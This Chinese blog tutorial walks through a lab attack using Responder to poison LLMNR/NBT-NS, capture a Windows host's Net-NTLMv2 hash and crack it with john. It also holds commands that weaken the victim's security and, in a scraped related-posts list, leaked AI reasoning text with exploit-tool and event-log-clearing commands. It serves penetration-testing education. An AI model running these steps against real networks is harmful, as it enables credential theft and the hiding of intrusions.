内网渗透-Responder捕获Win哈希

最新推荐文章于 2025-03-06 23:29:59 发布
最新推荐文章于 2025-03-06 23:29:59 发布
阅读量3.7k 收藏 6
点赞数 5
分类专栏： 内网渗透 文章标签： 安全 内网渗透
本文链接：https://blog.csdn.net/weixin_43221560/article/details/107757138
版权

作者：小刚
一位苦于信息安全的萌新小白帽，记得关注给个赞，谢谢
本实验仅用于信息防御教学，切勿用于其它用途

Responder捕获Win哈希

实验环境

VM搭建的虚拟测试环境
1.被攻击win7主机192.168.1.130
2.kali 192.168.1.131
3.win7配置

netsh advfirewall set allprofiles state off
winrm quickconfig
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service @{AllowUnencrypted="true"}
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
重启

Responder

responder 这个工具会回答发出的LLMNR和NBT-NS查询，诱使受害者主机提供Net-NTLM哈希。
该工具一般只针对SMB的文件服务器服务请求

安装Responder

Responder在kali中已经内置，但版本更新可能不及时，最好自己进行下载更新
先配置好生成工具等环境

apt-get install build-essential git python-dev

从github下载源码

git clone https://github.com/lagandx/Responder.git
cd Resopnder/
git pull

Responder参数

Resopnder有很多参数
-I 设置监听的网络接口，eth0
-f 收集NBT_NS或LLMNR的信息
-w 设置WPAD服务器

获取NTLMv2哈希

1.开始毒化，监听请求信息

./Responder.py -wfF -I eth0

在这里插入图片描述
此时kali已经毒化完成，并监听信息。
2.使用被攻击主机随意访问域内共享文件，或访问域内主机
在这里插入图片描述

时已经获取到了被攻击主机的哈希值
3.CTRL+C进行结束进程，使用./DumpHash.py导出捕获的哈希值

./DumpHash.py

在这里插入图片描述
此时生成两个文件，DumpNTLMv1.txt和DumpNTLMv2.txt。
4.破解hash密码
使用Hashcat或者john等密码破解工具进行破解

john DumpNTLMv2.txt

在这里插入图片描述
破解出用户名hacker，密码password1

【NTLM认证02】捕获 Net-NTLM 响应
总有人间一两风，填我十万八千梦
12-09 225
当文件通过 HTTP 服务器访问时，浏览器的同源策略会限制跨域或跨协议的请求 。当浏览器访问 http://127.0.0.1/1.html 使用的是 HTTP 协议。但 \\192.168.10.17\test 是一个 UNC 路径，使用 SMB 协议进行访问。浏览器在处理资源请求时，通常不允许在 HTTP 页面中直接加载 SMB 协议的资源，因为这是跨协议请求。
红队内网攻防渗透：内网渗透之内网对抗：横向移动篇&NTLM中继&Relay重放&SMB&EWS&LADP协议&强制认证&钓鱼监听
HACKONE的博客
06-25 303
NTLM Relay其实严格意义上并不能叫NTLM Relay，而是应该叫 Net-NTLM Relay。它是发生在NTLM认证的第三步，在 Type3 Response消息中存在Net-NTLM Hash，当攻击者获得了Net-NTLM Hash后，可以进行中间人攻击，重放Net-NTLM Hash，这种攻击手法也就是大家所说的NTLM Relay(NTLM 中继)攻击。2、利用Net-NTLM Hash中继攻击（Net NTLM Hash相同）#横向移动-NTLM中继-暴力破解&Relay攻击。
渗透测试靶场练习——Responder
Aibne_的博客
06-13 339
渗透测试靶场练习——Responder
内网名称解析协议与毒化攻击：Responder攻防实战
vortex5的博客
03-06 685
在 Windows 内网渗透测试中，掌握内网协议的特性是成功的关键。Windows 系统依赖多种名称解析协议（如 DNS、NBT-NS、LLMNR 等）将主机名映射到 IP 地址，这些协议在内网环境中至关重要。然而，当这些协议与 SMB（Server Message Block） 服务交互时，往往会暴露安全漏洞，成为攻击者的切入点。攻击者通常利用 NTLM 身份验证漏洞 执行 中间人攻击（MITM），窃取凭证并深入渗透网络。本文将深入探讨 Windows 内网中的名称解析协议（特别是 NBT-NS 和 LL
内网渗透之Responder攻防（上）1
08-08
内网渗透之Responder攻防（上）1
渗透师指南之Responder
热门推荐
大方子
06-30 1万+
总结与思考： 1. 利用Responder进行NTLMV2哈希的窃取 2. 使用Responder进行中继，攻击成功后进行代码执行 3. 使用Responder进行凭证/哈希破解 4. 使用Responder进行快速SMB扫描 5. 使用Responder配合MSF反弹shell 6. LLMNR/NBT-NS攻击的防御 概述： Responder是对渗透测试工作者来说一个很棒的工...
内网渗透之Responder演练（下）
xnxqwzy的博客
08-23 246
NTLM中继攻击已经被发现十多年了，要实现NTLM中继攻击，也需要先进行LLMNR/NBNS欺骗，这样，攻击机器就可以充当了中间人，本质上还是由于NTLM认证机制所导致的，且对于最新的NTLMv2认证任然有效，但这个过程并不是没有限制，对于工作组的机器来说，两台机器的密码需要一致才能成功，对于域用户来说，被欺骗用户（发起请求的用户）需要域管理员组里边的用户才可以，NTLM中继成功后的权限为被欺骗用户的权限。这是一个争议比较大的问题，有的人会建议先学编程，而有的人会建议先学计算机基础，其实这都是要学的。
Hack The Box Starting Point 渗透测试入门靶场 TIER 1 - Responder
Start C的博客
04-19 1374
涉及到SMB，枚举，Apache和WinRM（WinRM是Windows Remote Managementd（win远程管理）的简称。基于Web服务管理(WS-Management)标准，使用80或443端口。这样我们就可以在对方有设置防火墙的情况下远程管理这台服务器） 先看一下旁边的Walkthough，看看本靶场的要求 本实验重点介绍如何利用 Windows 机器上提供的网页上的文件包含漏洞来收集运行 Web 服务器的用户的 NetNTLMv2 质询。我们将使用一个名为 Responder 的实用程
使用Responder获取ntlmv2 hash
whojoe的博客
03-03 1511
使用Responder获取ntlmv2 hashResponder配置下载获取ntlmv2hash之后进行爆破获取ntlmv2使用hashcat爆破密码中继获得shell参考文章 Responder配置 下载 https://github.com/lgandx/Responder Responder工具可以污染LLMNR和NBT-NS请求。 在目录下的Responder.conf可以配置启用的模块 如果只需要获取ntlmv2hash使用默认配置即可，之后使用Hashcat进行暴力破解 如果要使用ntlm中
红队专题-内网横向-工作组Workgroup与 Domain Active Directory域渗透
aming小老弟
12-21 1842
通过使用活动目录，管理员能够中心化、批量地更新和管理操作系统、应用、用户以及对数据的访问，而用户和管理员也能很容易地获取这些信息。而且因为活动目录具备中心化的管理能力，攻击者一旦获得域管理员权限，即可控制域内所有用户和主机，因此活动目录域环境也备受攻击者青睐。实际上LSA保护不能抵御这些攻击，它只会让你在执行这些攻击前，需要做一些额外的操作，让攻击变得更加困难一些。此功能基于PPL技术，它是一种纵深防御的安全功能，旨在“防止非管理员非PPL进程通过打开进程之类的函数串改PPL进程的代码和数据”。
AD 域渗透中的哈希种类与 Hashcat 破解模式详解
vortex5的博客
02-07 1035
NTLM 哈希是 Windows 认证体系中最常见的密码存储方式。AD 中的账户（通常通过工具如提取）会以 NTLM 哈希形式存储密码。当账户未启用预身份验证（Pre-Authentication）时，攻击者可以请求 AS-REP 消息，并提取包含加密票据的数据。这种攻击手法称为。Kerberoasting 攻击针对的是 AD 中存在 SPN（Service Principal Name）的服务账户。
SMB中继——内网渗透
include_voidmain的博客
04-26 3481
0x01 SMB协议 SMB概述： SMB（ServerMessage Block）通信协议是微软（Microsoft）和英特尔(Intel)在1987年制定的协议，主要是作为Microsoft网络的通讯协议。 SMB 是在会话层（session layer）和表示层（presentation layer）以及小部分应用层（application layer）的协议。 SMB使用了NetBIOS的应用程序接口 （ApplicationProgram Interface，简称API）,一般端口使用为139，4
渗透测试之 Responder 工具详解 中间人攻击 LLMNR链路本地多播名称解析 NBNS 网络基本输出系统名称服务 NTLM Relay攻击利用工具一篇文章让你明明白白
浩策盾悟
11-26 1万+
Responder 是一款可以在局域网模拟各种服务器的内网渗透神器其可以在局域网中进行 DNS 欺骗、LLMNR 欺骗等，实现对用户 NTLM 口令的探测以及 DNS 钓鱼同时其还可以模拟包括 FTP、HTTP 在内的多种服务器，并记录用户登录凭证利用 LLMNR 欺骗窃取用户口令LLMNR 协议负责在局域网中将计算机名转换为对应的 IP 地址，平时我们能通过 \\ 资源或者IP 访问一台主机就是用了这种协议。
不利用系统漏洞拿shell，kali强大工具Responder
qq_39815966的博客
10-17 2409
这是一种不用通过漏洞利用来获取权限的一种方法，使用的是kali的一个工具，叫Responder，主要是通过监听网络，有人如果访问了虚假的共享文件地址，就会获得该系统登录口令的哈希值，然后再通过脚本进行hash爆破就可以获取口令，再通过ipc建立空连接获得系统权限。 我们的第一步当然是获取该工具喽，非常的简单，只要从github上下载即可， 当然首先你先需要安装一下python环境和git工具 # apt-get intall build-essential git python-dev 然后是直接从git
学习笔记-Responder欺骗
人饭子的博客
11-01 476
Responder欺骗 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. windows 基于 NTLM 认证的有 SMB、HTTP、LDAP、MSSQL 等，responder 可以通过模拟正常的 SMB 协议从而获得受害机器的 NTLMV2 hash 值，NTLM v2 不能直接应用于 Pass The Hash 攻击，只能通...
在 Windows 环境中使用 Responder 窃取 NTLMv2 哈希并利用
子曰小玖的博客
04-24 1074
Responder工具 Responder下载地址：https://github.com/lgandx/Responder Responder工具可以污染LLMNR和NBT-NS请求。 首先假设连接到Windows活动目录环境（Windows Active directory），当网络上的设备尝试用LLMNR和NBT-NS请求来解析目的地机器时，Responder就会伪装成目的地机器。当受害...
responder简单用法
qq_44881113的博客
09-08 1694
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix Responder 是一款可以在局域网模拟各种服务器的内网渗透神器 其可以在局域网中进行 DNS 欺骗、LLMNR 欺骗等，实现对用户 NTLM 口令的探测以及 DNS 钓鱼 同时其还可以模拟包括 FTP、HTTP 在内的多
Responder
09-20 504
操作系统:Kali Linux 工具:responder,john,evil-winrm PS:输入以下命令解决靶场环境无法打开问题
红日靶场2
最新发布
04-02
<think>嗯，用户想找关于红日靶场的IT内容或技术资料，特别是涉及IT安全、靶场平台、漏洞测试和网络安全的信息。首先，我需要回顾一下用户提供的引用内容，看看哪些部分可以应用到这里。引用[1]提到红日靶场模拟了国内企业的实际业务场景，包括CMS、漏洞管理、域管理等，这应该和用户的需求相关。引用[2]和[3]分别涉及Weblogic漏洞利用和具体的工具使用，比如Redis、MDUT等，还有CVE漏洞的利用。引用[4]是关于日志清理的命令，可能和渗透后的痕迹清理有关。 用户的问题是要寻找相关的技术资料，可能需要包括靶场的设计理念、具体漏洞的利用方法、使用的工具以及渗透测试的步骤。我需要把这些信息整合起来，按照用户要求的格式，分点回答，结构清晰，同时生成相关问题。 接下来要确保回答中提到的技术点都有对应的引用来源，比如红日靶场的环境设计引用[1]，Weblogic漏洞引用[2]，工具使用引用[3]，日志清理引用[4]。同时，需要检查用户提供的系统级指令，比如数学表达式使用$...$，但在这个问题中可能用不上，不过要留意是否有数学相关的内容。用户还要求生成相关问题，这部分需要围绕红日靶场的技术点来提问，比如渗透测试流程、漏洞利用方法、工具使用等。 另外，要确保回答用中文，并且引用标识自然添加在段落末尾。例如，在提到靶场设计时引用[^1]，提到Weblogic漏洞时引用[^2]，工具使用引用[^3]，日志清理引用[^4]。需要避免使用Markdown格式，但用户给的示例中使用了代码块，可能需要在回答中包含代码示例，比如日志清理的命令，这时候用反引号包裹。 最后，生成的相关问题要围绕红日靶场的不同方面，比如环境搭建、漏洞分析、工具使用、渗透技巧等，确保问题具有针对性和实用性，帮助用户进一步探索相关内容。</think>### 红日靶场 IT安全技术解析 红日靶场作为国内领先的渗透测试训练平台，其核心价值在于**真实企业场景模拟**和**ATT&CK攻防框架实践**。以下是关键技术要点： #### 1. 靶场环境架构设计 - **多维度渗透路径**：覆盖Web应用层（如CMS漏洞）、中间件层（WebLogic漏洞）、内网域控等层级 - **典型漏洞集成**- **典型漏洞集成**： - **WebLogic反序列化漏洞**（CVE-2016-0638）：通过`WebLogicTool`扫描验证，利用工具直接执行系统命令 ```bash java -jar WebLogicTool.jar -t CVE-2016-0638 -u http://target:7001 ``` - **Laravel远程代码执行**（CVE-2021-3129）：使用专用EXP工具实现RCE #### 2. 渗透测试技术栈 - **工具链配置**： - 数据库利用：`Redis Insight`管理Redis数据库，`MDUT`进行多数据库联合攻击 - 后门维持：`Godzilla v2.96`和`中国蚁剑`双通道Webshell管理 - 横向移动：`cdk`检测容器环境漏洞，`mimikatz`抓取域凭据 - **痕迹清理技术**： ```powershell wevtutil cl security # 清除安全日志 wevtutil cl system # 清除系统日志 ``` 需配合`meterpreter`的`clearev`模块实现自动化清理 #### 3. 域渗透专项训练 - **黄金票据伪造**：通过域控服务器获取KRBTGT账户的NTLM哈希 - **SMB中继攻击**：利用Responder工具捕获Net-NTLMv2哈希 - **GPO策略利用**：通过组策略部署恶意计划任务
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值